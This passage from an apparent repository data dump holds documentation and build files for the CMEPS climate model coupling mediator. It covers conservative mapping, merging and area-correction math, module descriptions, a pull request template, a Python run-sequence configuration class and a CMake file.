M4*w4*Fo4) / (f_ocean) which produces a reasonable but incorrect result**\nbecause the weighted average uses the mask instead of the fraction. The\nmask only produces a correct result\nin cases where there is no sea ice because sea ice impacts the surface fractions. \nFinally, consider\na fraction weighted normalized average using the dynamically varying\nocean fraction that is exposed to the atmosphere::\n\n fo1 = 1 - fi1\n fo2 = 1 - fi2\n fo3 = 1 - fi3\n fo4 = 1 - fi4\n fao = w1*fo1 + w2*fo2 + w3*fo3 + w4*fo4\n Fao = (fo1*w1*Fo1 + fo2*w2*Fo2 + fo3*w3*Fo3 + fo4*w4*Fo4) / (fao)\n\nwhere fo1, fo2, fo3, and fo4 are the ocean fractions on the ocean gridcells\nand depend on the sea ice fraction,\nfao is the mapped ocean fraction on the atmosphere gridcell, and Fa\nis the mapped SST. The ocean fractions are only defined where the ocean\nmask is 1, otherwise the ocean and sea ice fractions are zero.\nNow, the SST in each ocean gridcell is weighted by the fraction of the ocean\nbox exposed to the atmosphere and that weighted average is normalized by \nthe mapped dynamically varying fraction. This produces a reasonable result\nas well as a conservative result. \n\nThe conservation check involves thinking of Fo and Fa as a flux. On the\nocean grid, the quantity associated with the flux is::\n\n Qo = (Fo1*fo1*A1 + Fo2*fo2*A2 + Fo3*fo3*A3 + Fo4*fo4*A4) * dt\n\non the atmosphere grid, that quantity is the ocean fraction times the mapped\nflux times the area times the timestep::\n\n Qa = foa * Fao * Aa * dt\n\nVia some simple math, it can be shown that Qo = Qa if::\n\n fao = w1*fo1 + w2*fo2 + w3*fo3 + w4*fo4\n Fao = (fo1*w1*Fo1 + fo2*w2*Fo2 + fo3*w3*Fo3 + fo4*w4*Fo4) / (fao)\n\nIn practice, the fraction weighted normlized mapping field is computed \nby mapping the ocean fraction and the fraction\nweighted field from the ocean to the atmosphere grid separately and then\nusing the mapped fraction to normalize the field as a four step process::\n\n Fo' = fo*Fo (a)\n fao = w1*fo1 + w2*fo2 + w3*fo3 + w4*fo4 (b)\n Fao' = w1*Fo1' + w2*Fo2' + w3*Fo3' + w4*Fo4' (c)\n Fao = Fao'/fao (d)\n\nSteps (b) and (c) above are the sparse matrix multiply by the standard \nconservative weights.\nStep (a) fraction weighs the field and step (d) normalizes the mapped field. \n\nAnother way to think of this is that the mapped flux (Fao') is normalized by the\nsame fraction (fao) that is used in the merge, so they actually cancel. \nBoth the normalization at the end of the mapping and the fraction weighting \nin the merge can be skipped and the results should be identical. But then the mediator\nwill carry around Fao' instead of Fao and that field is far less intuitive\nas it no longer represents the gridcell average value, but some subarea average\nvalue.\nIn addition, that approach is only valid when carrying out full surface merges. If,\nfor instance, the SST is to be interpolated and not merged with anything, the field \nmust be normalized after mapping to be useful.\n\nThe same mapping and merging process is valid for the sea ice::\n\n fai = w1*fi1 + w2*fi2 + w3*fi3 + w4*fi4\n Fai = (fi1*w1*Fi1 + fi2*w2*Fi2 + fi3*w3*Fi3 + fi4*w4*Fi4) / (fai)\n\nPutting this together with the original merge equation::\n\n Fa = fal*Fal + fao*Fao + fai*Fai\n\nwhere now::\n\n fal = 1 - (fao+fai)\n fao = w1*fo1 + w2*fo2 + w3*fo3 + w4*fo4\n fai = w1*fi1 + w2*fi2 + w3*fi3 + w4*fi4\n Fal = Fl1 = Fl2 = Fl3 = Fl4 as defined by the land model on the atmosphere grid\n Fao = (fo1*w1*Fo1 + fo2*w2*Fo2 + fo3*w3*Fo3 + fo4*w4*Fo4) / (fao)\n Fai = (fi1*w1*Fi1 + fi2*w2*Fi2 + fi3*w3*Fi3 + fi4*w4*Fi4) / (fai)\n\nwill simplify to an equation that contains twelve distinct terms for each of the \nfour ocean gridboxes and the three different surfaces::\n\n Fa = (w1*fl1*Fl1 + w2*fl2*Fl2 + w3*fl3*Fl3 + w4*fl4*Fl4) + \n (w1*fo1*Fo1 + w2*fo2*Fo2 + w3*fo3*Fo3 + w4*fo4*Fo4) + \n (w1*fi1*Fi1 + w2*fi2*Fi2 + w3*fi3*Fi3 + w4*fi4*Fi4) \n\nand this further simplifies to something that looks like a mapping\nof the field merged on the ocean grid::\n\n Fa = w1*(fl1*Fl1+fo1*Fo1+fi1*Fi1) + \n w2*(fl2*Fl2+fo2*Fo2+fi2*Fi2) +\n w3*(fl3*Fl3+fo3*Fo3+fi3*Fi3) + \n w4*(fl4*Fl4+fo4*Fo4+fi4*Fi4)\n\nLike the exercise with Fao above, these equations can be shown to be\nfully conservative. \n\nTo summarize, multiple features such as area calculations,\nweights, masking, normalization, fraction weighting, and merging approaches\nhave to be considered together to ensure conservation. The CMEPS mediator\nuses unmasked and unnormalized weights and then generally\nmaps using the fraction weighted normalized approach. Merges are carried\nout with fraction weights.\nThis is applied to both state and flux fields, with conservative, bilinear, \nand other mapping approaches, and for both merged and unmerged fields.\nThis ensures that the fields are always useful gridcell average values \nwhen being coupled or analyzed throughout the coupling implementation.\n\n\nArea Corrections\n#######################################\n\nArea corrections are generally necessary when coupling fluxes between different\ncomponent models if conservation is important. The area corrections adjust\nthe fluxes such that the quantity is conserved between different models. The\narea corrections are necessary because different model usually compute gridcell\nareas using different approaches. These approaches are inherently part of the\nmodel discretization, they are NOT ad-hoc.\n\nIf the previous section, areas and weights were introduced. Those areas\nwere assumed to consist of the area overlaps between gridcells and were computed\nusing a consistent approach such that the areas conserve. ESMF is able to compute \nthese area overlaps and the corresponding mapping weights such that fluxes can\nbe mapped and quantities are conserved.\n\nHowever, the ESMF areas don't necessarily agree with the model areas that are inherently\ncomputed in the individual component models. As a result, the fluxes need to\nbe corrected by the ratio of the model areas and the ESMF areas. Consider a\nsimple configuration where two grids are identical, the areas computed by\nESMF are identical, and all the weights are 1.0. So::\n\n A1 = A2 (from ESMF)\n w1 = 1.0 (from ESMF)\n F2 = w1*F1 (mapping)\n F2*A2 = F1*A1 (conservation)\n\nNow lets assume that the two models have fundamentally different discretizations,\ndifferent area algorithms (i.e. great circle vs simpler lon/lat approximations), \nor even different\nassumptions about the size and shape of the earth. The grids can be identical in\nterms of the longitude and latitude of the \ngridcell corners and centers, but the areas can also\nbe different because of the underlying model implementation. When a flux is passed \nto or from each component, the quantity associated with that flux is proportional to \nthe model area, so::\n\n A1 = A2 (ESMF areas)\n w1 = 1.0\n F2 = w1*F1 (mapping)\n F2 = F1\n A1m != A2m (model areas)\n F1*A1m != F2*A2m (loss of conservation)\n\nThis can be corrected by multiplying the fluxes \nby an area correction. For each model, outgoing fluxes should be multiplied\nby the model area divided by the ESMF area. Incoming fluxes should be multiplied\nby the ESMF area divided by the model area. So::\n\n F1' = A1m/A1*F1\n F2' = w1*F1'\n F2 = F2'*A2/A2m\n\n Q2 = F2*A2m\n = (F2'*A2/A2m)*A2m\n = F2'*A2\n = (w1*F1')*A2\n = w1*(A1m/A1*F1)*A2\n = A1m*F1\n = Q1\n\nand now the mapped flux conserves in the component models. The area corrections\nshould only be applied to fluxes. These area corrections\ncan actually be applied a number of ways.\n\n* The model areas can be passed into ESMF as extra arguments and then the weights will be adjusted. In this case, weights will no longer sum to 1 and different weights will need to be generated for mapping fluxes and states.\n* Models can pass quantities instead of fluxes, multiplying the flux in the component by the model area. But this has a significant impact on the overall coupling strategy.\n* Models can pass the areas to the mediator and the mediator can multiple fluxes by the source model area before mapping and divide by the destination model area area after mapping.\n* Models can pass the areas to the mediator and implement an area correction term on the incoming and outgoing fluxes that is the ratio of the model and ESMF areas. This is the approach shown above and is how CMEPS traditionally implements this feature.\n\nModel areas should be passed to the mediator at initialization so the area corrections \ncan be computed and applied. These area corrections do not vary in time.\n\n\nLags, Accumulation and Averaging\n#######################################\n\nIn a coupled model, the component model sequencing and coupling frequency tend to introduce \nsome lags as well as a requirement to accumulate and average. This occurs when\ncomponent models are running sequentially or concurrently. In general, the component\nmodels advance in time separately and the \"current time\" in each model becomes out of\nsync during the sequencing loop. This is not unlike how component models take a timestep.\nIt's generally more important that the coupling be conservative than synchronous.\n\nAt any rate, a major concern is conservation and consistency. As a general rule, when\nmultiple timesteps are taken between coupling periods in a component model, the fluxes and\nstates should be averaged over those timesteps before being passed back out to the\ncoupler. In the same way, the fluxes and states passed into the coupler should be\naveraged over shorter coupling periods for models that are coupled at longer coupling\nperiods. \n\nFor conservation of mass and energy, the field that is accumluated should be consistent\nwith the field that would be passed if there were no averaging required. Take for\nexample a case where the ocean model is running at a longer coupling period. The ocean\nmodel receives a fraction weighted merged atmosphere/ocean and ice/ocean flux written as::\n\n Fo = fao*Fao + fio*Fio\n\nThe averaged flux over multiple time periods, n, would then be::\n\n Fo = 1/n * sum_n(fao*Fao + fio*Fio)\n\nwhere sum_n represents the sum over n time periods. This can also be written as::\n\n Fo = 1/n * (sum_n(fao*Fao) + sum_n(fio*Fio))\n\nSo multiple terms can be summed and accumulated or the individual terms fao*Fao \nand fio*Fio can be accumulated and later summed and averaged in either order.\nBoth approaches produce identical results.\nFinally, **it's important to note that sum_n(fao)*sum_n(Fao) does not produce the same\nresults as the sum_n(fao*Fao)**. In other words, the fraction weighted flux has to be\naccumulated and NOT the fraction and flux separately. This is important for conservation\nin flux coupling. The same approach should be taken with merged states to compute the \nmost accurate representation of the average state over the slow coupling period.\nAn analysis and review of each coupling field should be carried out to determine\nthe most conservative and accurate representation of averaged fields. This is particularly\nimportant for models like the sea ice model where fields may be undefined at gridcells\nand timesteps where the ice fraction is zero.\n\nNext, consider how mapping interacts with averaging. A coupled field\ncan be accumulated on the grid where that field is used. As in the example above,\nthe field that would be passed to the ocean model can be accumulated on the ocean grid\nover fast coupling periods as if the ocean model were called each fast coupling period.\nIf the flux is computed on another grid, it would save computational efforts if the\nflux were accumulated and averaged on the flux computation grid over fast coupling\nperiods and only mapped to the destination grid on slow coupling periods. Consider\njust the atmosphere/ocean term above::\n\n 1/n * sum_n(fao_o*Fao_o)\n\nwhich is accumulated and averaged on the ocean grid before being passed to the ocean\nmodel. The _o notation has been added to denote the field on on the ocean grid.\nHowever, if Fao is computed on the atmosphere grid, then each fast coupling period\nthe following operations would need to be carried out\n\n* Fao_a is computed on the atmosphere grid\n* fao_a, the ocean fraction on the atmosphere grid is known\n* fao_o = map(fao_a), the fraction is mapped from atmosphere to ocean\n* Fao_o = map(Fao_a), the flux is mapped from atmosphere to ocean\n* fao_o*Fao_o is accumulated over fast coupling periods\n* 1/n * sum_n(fao_o*Fao_o), the accumulation is averaged every slow coupling period\n\nWriting this in equation form::\n\n Fo = 1/n * sum_n(mapa2o(fao_a) * mapa2o(fao_a*Fao_a)/mapa2o(fao_a))\n\nwhere Fao_o is a fraction weighted normalized mapping as required for conservation\nand fao_o is the mapped ocean fraction on the atmosphere grid.\nSimplifying the above equation::\n\n Fo = 1/n * sum_n(mapa2o(fao_a*Fao_a)\n\nAccumulation (sum_n) and mapping (mapa2o) are both linear operations so this can \nbe written as::\n\n Fo = 1/n * mapa2o(sum_n(fao_a*Fao_a))\n Fo = mapa2o(1/n*sum_n(fao_a*Fao_a))\n\nwhich suggests that the accumulation can be done on the source side (i.e. atmosphere)\nand only mapped on the slow coupling period. But again, fao_a*Fao_a has to be \naccumulated and then when mapped, NO fraction would be applied to the merge as this\nis already included in the mapped field. In equation form, the full merged ocean\nfield would be implemented as::\n\n Fao'_o = mapa2o(1/n*sum_n(fao_a*Fao_a))\n Fo = Fao'_o + fio_o*Fio_o\n\nwhere a single accumulated field is only mapped once each slow coupling period\nand an asymmetry is introduced in the merge in terms of the use of the fraction\nweight. In the standard approach::\n\n fao_o = mapa2o(fao_a)\n Fao_o = mapa2o(fao_a*Fao_a)/mapa2o(fao_a)\n Fo = fao_o*Fao_o + fio_o*Fio_o\n\ntwo atmosphere fields are mapped every fast coupling period, the merge is now\nfraction weighted for all terms, and the mapped fields, fao_o and Fao_o, have\nphysically meaningful values. Fao'_o above does not. This implementation\nhas a parallel with the normalization step. As suggested above, there are two\nimplementations for conservative mapping and merging in general. The one outlined \nabove with fraction weighted normalized mapping and fraction weighted\nmerging::\n\n fao_o = mapa2o(fao_a)\n Fao_o = mapa2o(fao_a*Fao_a)/mapa2o(fao_a)\n Fo = fao_o*Fao_o\n\nor an option where the fraction weighted mapped field is NOT normalized and the\nfraction is NOT applied during the merge::\n\n Fao'_o = mapa2o(fao_a*Fao_a)\n Fo = Fao'_o\n\nThese will produce identical results in the same way that their accumulated averages\ndo.\n \n\n\nFlux Calculation Grid\n#######################################\n\nThe grid that fluxes are computed on is another critical issue to consider. Consider\nthe atmosphere/ocean flux again. Generally, the atmosphere/ice flux is computed\nin the ice model due to subgrid scale processes that need to be resolved. In addition,\nthe ice model is normally run at a fast coupling period and advances\none sea ice timestep per coupling period. On the other hand, the ocean model is often coupled\nat a slower coupling period and atmosphere/ocean fluxes are computed outside the\nocean model at the faster atmopshere coupling period. In some models, the atmosphere/ocean\nfluxes are computed in the mediator, on the ocean grid, from ocean and mapped\natmosphere states, and those atmosphere/ocean fluxes are mapped conservatively to\nthe atmosphere grid. In other models, the atmosphere/ocean fluxes are computed\non the atmosphere grid in the atmosphere model, from atmosphere and mapped ocean states,\nand then those atmosphere/ocean fluxes are mapped conservatively to the ocean\ngrid. Those implementations are different in many respects, but they share basic\nequations::\n\n fo_o = 1 - fi_o\n fl_a = 1 - mapo2a(Mo)\n fo_a = mapo2a(fo_o)\n fi_a = mapo2a(fi_o)\n Fa = fl_a*Fal_a + fo_a*Fao_a + fi_a*Fai_a\n Fo = fo_o*Fao_o + fi_o*Fio_o\n\nThe above equations indicate that the land fraction on the atmosphere grid is the \ncomplement of the mapped ocean mask and is static. The ice and ocean fractions are\ndetermined from the ice model and are dynamic. Both can be mapped to the atmosphere\ngrid. Finally, the atmosphere flux is a three-way merge of the land, ocean, and\nice terms on the atmosphere grid while the ocean flux is a two-way merge of the\natmosphere and ice terms on the ocean grid.\n\nWhen the atmosphere/ocean and atmosphere/ice fluxes are both computed on the same\ngrid, at the same frequency, and both are mapped to the atmosphere grid, conservative \nmapping and merging is relatively straight-forward::\n\n fo_a = mapo2a(fo_o)\n Fao_a = mapo2a(fo_o*Fao_o)/fo_a\n fi_a = mapo2a(fi_o)\n Fai_a = mapo2a(fi_o*Fai_o)/fi_a\n\nand everything conserves relatively directly::\n\n fo_o + fi_o = Mo\n fl_a + fo_a + fi_a = 1.0\n fo_a*Fao_a = fo_o*Fao_o\n fi_a*Fai_a = fi_o*Fai_o\n\nWhen the atmosphere/ice fluxes are computed on the ocean grid while\nthe atmosphere/ocean fluxes are computed on the atmosphere grid, \nextra care is needed with regard to fractions and conservation. In this case::\n\n fo_a = mapo2a(fo_o)\n Fao_o = mapa2o(fo_a*Fao_a)/mapa2o(fo_a)\n fi_a = mapo2a(fi_o)\n Fai_a = mapo2a(fi_o*Fai_o)/fi_a\n \nfo_o, fi_o, Fai_o, and Fao_a are specified and Fao_o has to be computed. The most \nimportant point here is that during the ocean merge, the mapped ocean fraction on the\natmosphere grid is used so::\n\n Fo = mapa2o(fo_a)*(mapa2o(fo_a*Fao_a)/mapa2o(fo_a)) + fi_o*Fio_o\n\nThis is conservative because from basic mapping/merging principles::\n\n fo_a * Fao_a = mapa2o(fo_a)*(mapa2o(fo_a*Fao_a)/mapa2o(fo_a))\n\nfo_a is the mapped ocean fraction while Fao_a is the computed flux on the atmosphere\ngrid. Note that **mapa2o(fo_a) != fo_o** which also means that fi_o + mapa2o(fo_a) != 1.\nSince the ocean fraction is computed on the ocean grid while the atmosphere/ocean\nflux is computed on the atmosphere grid, an extra mapping is introduced which results in\nextra diffusion. As a result, the atmosphere/ocean\nand ice/ocean fluxes are computed and applied differently to the different grids. And\nwhile the fraction weights in the two-way merge don't sum to 1 at each gridcell, the\nfluxes still conserve. Again, the normalized fraction weighted mapped atmosphere/ocean\nflux from the atmosphere grid should NOT be merged with the original ocean fraction on the\nocean grid. They must be merged with the atmosphere ocean fraction mapped to the ocean\ngrid which is two mappings removed from the original ocean fraction on the ocean grid.\n\nAn open question exists whether there is atmosphere/ocean flux (Fao\"_o) that conserves and\nallows the two-way ocean merge equation to use the original fo_o fraction weight\nsuch that::\n\n fo_o * Fao\"_o = mapa2o(fo_a)*(mapa2o(fo_a*Fao_a)/mapa2o(fo_a)\n\nIt has been suggested that if Fao\"_o is mapo2a(Fao_a), the system conserves::\n\n fo_o * mapa2o(Fao_a) =? mapa2o(fo_a)*mapa2o(fo_a*Fao_a)/mapa2o(fo_a)\n\nBut this still needs to be verified.\n" }, { "alpha_fraction": 0.6618409156799316, "alphanum_fraction": 0.6651935577392578, "avg_line_length": 44.25517272949219, "blob_id": "d3fc9efdbc80af7721b3b822b8a1e93781cc4a85", "content_id": "62055af1c3e14f01c0cfbbddbbe8af357bc36735", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 6562, "license_type": "no_license", "max_line_length": 100, "num_lines": 145, "path": "/doc/source/generic.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _generic_modules:\n\n=========================\n CMEPS `generic` modules\n=========================\n\nThe following describes in some detail the CMEPS modules that are not\napplication specific and provide general functionality.\n\n**med.F90**\n\n This module is initializes the CMEPS mediator functionality by performing the following functions:\n\n * adding a namespace (i.e. nested state) for each import and export\n component state in the mediator's InternalState\n\n * initializing the mediator component specific fields via a call to\n ``esmFldsExchange_xxx_`` (where currently xxx can be ``cesm``, ``nems`` or ``hafs``).\n\n * determining which components are present\n\n * advertising the import and export mediator fields\n\n * creating import (``FBImp``), export (``FBExp``) and accumulation (``FBExpAccum``) field bundles\n\n * initializing the mediatory route handles and field bundles needed for normalization\n\n * initializing component ``FBFrac`` field bundles\n\n * reading mediator restarts\n\n * optionally carrying out initializations for atmosphere/ocean flux\n calculations and ocean albedo calculations (these are needed by CESM)\n\n * carrying out the NUOPC data initialization via the ``DataInitialize`` routine.\n\n .. note:: After the first DataInitialize() of CMEPS returns,\n\t NUOPC will note that its InitializeDataComplete is not yet true. The\n\t NUOPC Driver will then execute the Run() phase of all of the Connectors that\n\t fit the xxx-TO-MED pattern. After that, it will call CMEPS\n\t DataInitialize() again. Note that the time stamps are only set\n\t when the Run() phase of all the connectors are run and the\n\t Connectors Run() phase is called before the second call of the\n\t CMEPS DataInitialize phase. As a result, CMEPS will see the\n\t correct timestamps, which also indicates that the actual data has\n\t been transferred reliably, and CMEPS can safely use it.\n\n**med_map_mod.F90**\n\n This module creates the required route handles that are needed for\n the model run. The route handles are stored in the multi-dimensional array\n ``RH(ncomps,ncomps,nmappers)`` in the module ``med_internal_state_mod.F90``.\n\n ``nmappers`` is the total number of mapping types that CMEPS supports (currently 8).\n These are described in :ref:`mapping types<addmap>`.\n\n ``ncomps,ncomps`` corresponds to the source and destination component indices.\n\n As an example ``RH(compatm,compocn,mapbilnr)`` is the atm->ocn bilinear route handle.\n\n **med_map_mod.F90** also initializes additional field bundles that\n are needed for mapping fractional normalization (see the\n :ref:`mapping normalization <normalization>`). Normalization is\n normally done using the relevant field from ``FBFrac(:)``.\n\n The default call to carry out mediator mapping is done in the\n :ref:`prep_modules<prep_modules>` by calling\n ``med_map_FB_Regrid_Norm``. Mapping is done by using the\n ``fldListFr(:)`` data that was initialized in the\n ``esmFldsExchange_xxxx_mod.F90`` calls to ``addmap``.\n\n**med_merge_mod.F90**\n\n This module carries out merging of one or more mapped source fields\n to the target destination field (see :ref:`merging\n types<addmrg>`). The :ref:`prep_modules<prep_modules>` carry out\n merging via the call to ``med_merge_auto`` Merging is done by using\n the ``fldListTo(:)`` data that was initialized in the\n ``esmFldsExchange_xxx_mod.F90`` calls to ``addmrg``.\n\n**med_io_mod.F90**\n\n CMEPS uses the PIO2 parallel library to carry out all IO. PIO\n provides a netCDF-like API, and allows users to designate some\n subset of processors to perform IO. Computational code calls\n netCDF-like functions to read and write data, and PIO uses the IO\n processors to perform all necessary IO. This module contains\n wrapper layers to PIO for writing and reading mediator restart\n files and for writing mediator history files.\n\n.. _history_writes:\n\n**med_phases_history_mod.F90**\n\n This module writes mediator history files. The freqency of CMEPS\n history writes is controlled via the NUOPC attributes\n ``history_option`` and ``history_n``. These attributes control\n instantaneous mediator history output as follows:\n\n ============== =============================================================\n history_option description\n ============== =============================================================\n none\t\t do not write any history files\n never\t do not write any history files\n nsteps\t write files every ``history_n`` mediator coupling intervals\n nseconds\t write files every ``history_n`` seconds\n nminutes\t write files every ``history_n`` minutes\n nhours\t write files every ``history_n`` hours\n ndays\t write files every ``history_n`` days\n nmonths\t write files every ``history_n`` months\n nyears\t write files every ``history_n`` years\n monthly\t write files on the month boundary\n yearly\t write files on the year boundary\n ============== =============================================================\n\n .. note:: It is assumed that the NUOPC attributes ``history_option`` and ``history_n``\n\t are obtained by the model driver and passed down to the mediator.\n\n.. _restart_writes:\n\n**med_phases_restart_mod.F90**\n\n This module reads and writes mediator restart files. The freqency of CMEPS\n restart writes is controlled via the NUOPC attributes\n ``restart_option`` and ``restart_n``. These attributes control\n instantaneous mediator history output as follows:\n\n ============== =============================================================\n restart_option description\n ============== =============================================================\n none\t\t do not write any restart files\n never\t do not write any restart files\n nsteps\t write files every ``restart_n`` mediator coupling intervals\n nseconds\t write files every ``restart_n`` seconds\n nminutes\t write files every ``restart_n`` minutes\n nhours\t write files every ``restart_n`` hours\n ndays\t write files every ``restart_n`` days\n nmonths\t write files every ``restart_n`` months\n nyears\t write files every ``restart_n`` years\n monthly\t write files on the month boundary\n yearly\t write files on the year boundary\n ============== =============================================================\n\n .. note:: It is assumed that the NUOPC attributes ``restart_option`` and ``restart_n``\n\t are obtained by the model driver and passed down to the mediator.\n" }, { "alpha_fraction": 0.7773019075393677, "alphanum_fraction": 0.7773019075393677, "avg_line_length": 30.066667556762695, "blob_id": "ed3b7c57d214a127ba15478e8b8b26488e9ef822", "content_id": "f3d2d933a0f3977f7cd03d213baf2e963d27408d", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "Markdown", "length_bytes": 467, "license_type": "no_license", "max_line_length": 98, "num_lines": 15, "path": "/.github/pull_request_template.md", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "### Description of changes\n\n### Specific notes\n\nContributors other than yourself, if any:\n\nCMEPS Issues Fixed (include github issue #):\n\nAre changes expected to change answers? (specify if bfb, different at roundoff, more substantial) \n\nAny User Interface Changes (namelist or namelist defaults changes)?\n\n### Testing performed\nPlease describe the tests along with the target model and machine(s) \nIf possible, please also added hashes that were used in the testing\n\n" }, { "alpha_fraction": 0.4925151765346527, "alphanum_fraction": 0.49413350224494934, "avg_line_length": 39.298912048339844, "blob_id": "66f864f0e71174d49f2450de45fff1693532250d", "content_id": "9694c7503c190e5afd6d6c2040ac06f26f05c2b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7415, "license_type": "no_license", "max_line_length": 107, "num_lines": 184, "path": "/cime_config/runseq/driver_config.py", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# Inherit from the dictionary class\nclass DriverConfig(dict):\n\n ###############################################\n def __init__(self, case, coupling_times):\n ###############################################\n # this initializes the dictionary\n super(DriverConfig,self).__init__()\n\n self['atm'] = self.__compute_atm(case, coupling_times)\n self['glc'] = self.__compute_glc(case, coupling_times)\n self['ice'] = self.__compute_ice(case, coupling_times)\n self['lnd'] = self.__compute_lnd(case, coupling_times)\n self['ocn'] = self.__compute_ocn(case, coupling_times)\n self['rof'] = self.__compute_rof(case, coupling_times)\n self['wav'] = self.__compute_wav(case, coupling_times)\n\n ###############################################\n def __compute_atm(self, case, coupling_times):\n ###############################################\n\n comp_atm = case.get_value(\"COMP_ATM\")\n\n run_atm = True\n med_to_atm = True\n if (comp_atm == 'satm'):\n run_atm = False\n med_to_atm = False\n elif (comp_atm == 'datm'):\n # TODO: check of data model prognostic flag is on - this is a new xml variable\n # If the prognostic flag is on, then should set med_to_atm to True\n if_prognostic = False\n med_to_atm = if_prognostic\n\n # TODO: need to put in special logical for adiabatic mode - where the atmosphere does\n # does not really send anything to the mediator\n # This will be the case if (case.get_value('COMP_OCN') == 'socn'):\n # In this case - a special run sequence should be written\n\n return (run_atm, med_to_atm, coupling_times[\"atm_cpl_dt\"])\n\n ###############################################\n def __compute_glc(self, case, coupling_times):\n ###############################################\n\n # In the mediator the glc_avg_period will be set as an alarm\n # on the on the prep_glc_clock. When this alarm rings - the\n # averaging will be done.\n\n comp_glc = case.get_value(\"COMP_GLC\")\n\n run_glc = True\n med_to_glc = True\n if (comp_glc == 'sglc'):\n run_glc = False\n med_to_glc = False\n elif (comp_glc == 'cism'):\n if not case.get_value(\"CISM_EVOLVE\"):\n med_to_glc = False\n\n # If CISM is not evolving only get data back from cism at the initial time\n # However will still need to call the exchange at the end if the stop_option\n # is nsteps or days - or otherwise just every ndays\n # Note that nsteps is the minimum component coupling time\n if (comp_glc == 'cism'):\n glc_coupling_time = coupling_times[\"glc_cpl_dt\"]\n if not case.get_value(\"CISM_EVOLVE\"):\n stop_option = case.get_value('STOP_OPTION')\n stop_n = case.get_value('STOP_N')\n if stop_option == 'nyears':\n glc_coupling_time = coupling_times[\"glc_cpl_dt\"]\n elif stop_option == 'nsteps':\n glc_coupling_time = stop_n * coupling_times[\"glc_cpl_dt\"]\n elif stop_option == 'ndays':\n glc_coupling_time = stop_n * 86400\n else:\n glc_coupling_time = 86400\n elif (comp_glc == 'xglc'):\n glc_coupling_time = coupling_times[\"glc_cpl_dt\"]\n else:\n glc_coupling_time = 0\n\n return (run_glc, med_to_glc, glc_coupling_time)\n\n ###############################################\n def __compute_ice(self, case, coupling_times):\n ###############################################\n\n comp_ice = case.get_value(\"COMP_ICE\")\n\n run_ice = True\n med_to_ice = True # this is the case for dice\n if (comp_ice == 'sice'):\n run_ice = False\n med_to_ice = False\n\n return (run_ice, med_to_ice, coupling_times[\"ice_cpl_dt\"])\n\n ###############################################\n def __compute_lnd(self, case, coupling_times):\n ###############################################\n\n comp_lnd = case.get_value(\"COMP_LND\")\n\n run_lnd = True\n med_to_lnd = True\n if (comp_lnd == 'slnd'):\n run_lnd = False\n med_to_lnd = False\n elif (comp_lnd == 'dlnd'):\n # TODO: check of data model prognostic flag is on - this is a new xml variable\n # If the prognostic flag is on, then should set med_to_lnd to True\n if_prognostic = False\n med_to_lnd = if_prognostic\n\n return (run_lnd, med_to_lnd, coupling_times[\"lnd_cpl_dt\"])\n\n ###############################################\n def __compute_ocn(self, case, coupling_times):\n ###############################################\n\n comp_ocn = case.get_value(\"COMP_OCN\")\n\n run_ocn = True\n med_to_ocn = True\n if (comp_ocn == 'socn'):\n run_ocn = False\n med_to_ocn = False\n elif (comp_ocn == 'docn'):\n # TODO: check of data model prognostic flag is on - this is a new xml variable\n # If the prognostic flag is on, then should set med_to_wav to True\n docn_mode = case.get_value(\"DOCN_MODE\")\n docn_import_fields = case.get_value(\"DOCN_IMPORT_FIELDS\")\n med_to_ocn = ('som' in docn_mode or 'interannual' in docn_mode or docn_import_fields != 'none')\n\n return (run_ocn, med_to_ocn, coupling_times[\"ocn_cpl_dt\"])\n\n ###############################################\n def __compute_rof(self, case, coupling_times):\n ###############################################\n\n comp_rof = case.get_value(\"COMP_ROF\")\n\n run_rof = True\n med_to_rof = True\n if (comp_rof == 'srof'):\n run_rof = False\n med_to_rof = False\n elif (comp_rof == 'drof'):\n # TODO: check of data model prognostic flag is on - this is a new xml variable\n # If the prognostic flag is on, then should set med_to_rof to True\n if_prognostic = False\n med_to_rof = if_prognostic\n else:\n # this is active runoff - determine if the mode or the grid is null - and in that case\n # remove all interactions with rof from the run sequence\n if ((case.get_value(\"COMP_ROF\") == 'mosart' and case.get_value(\"MOSART_MODE\") == 'NULL') or\n (case.get_value(\"COMP_ROF\") == 'rtm' and case.get_value(\"RTM_MODE\") == 'NULL') or\n (case.get_value(\"ROF_GRID\") == 'null')):\n run_rof = False\n med_to_rof = False\n\n return (run_rof, med_to_rof, coupling_times[\"rof_cpl_dt\"])\n\n ###############################################\n def __compute_wav(self, case, coupling_times):\n ###############################################\n\n comp_wav = case.get_value(\"COMP_WAV\")\n\n run_wav = True\n med_to_wav = True\n if (comp_wav == 'swav'):\n run_wav = False\n med_to_wav = False\n elif (comp_wav == 'dwav'):\n # TODO: check of data model prognostic flag is on - this is a new xml variable\n # If the prognostic flag is on, then should set med_to_wav to True\n if_prognostic = False\n med_to_wav = if_prognostic\n\n return (run_wav, med_to_wav, coupling_times[\"wav_cpl_dt\"])\n" }, { "alpha_fraction": 0.7558528184890747, "alphanum_fraction": 0.7959865927696228, "avg_line_length": 48.83333206176758, "blob_id": "67e01ffe3452ebfb76bf3ad85947705f99617d56", "content_id": "bb047dabb5ca5b96762e927e0331787f240783cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 299, "license_type": "no_license", "max_line_length": 127, "num_lines": 6, "path": "/ufs/CMakeLists.txt", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "project(CMEPS_share Fortran)\ninclude(ExternalProject)\n\nadd_library(cmeps_share flux_atmocn_mod.F90 glc_elevclass_mod.F90 perf_mod.F90 ufs_const_mod.F90 ufs_kind_mod.F90)\n\ntarget_include_directories (cmeps_share PUBLIC ${CMAKE_CURRENT_SOURCE_DIR} ${ESMF_F90COMPILEPATHS} ${PIO_Fortran_INCLUDE_DIRS})\n" }, { "alpha_fraction": 0.7025495767593384, "alphanum_fraction": 0.720963180065155, "avg_line_length": 27.239999771118164, "blob_id": "21f36f2c7d935c993b72077fa3d41552e4b7806e", "content_id": "179198910446a92211d88c82b61475feb006d481", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 706, "license_type": "no_license", "max_line_length": 76, "num_lines": 25, "path": "/doc/source/index.rst", "repo_name": "ESCOMP/CMEPS", 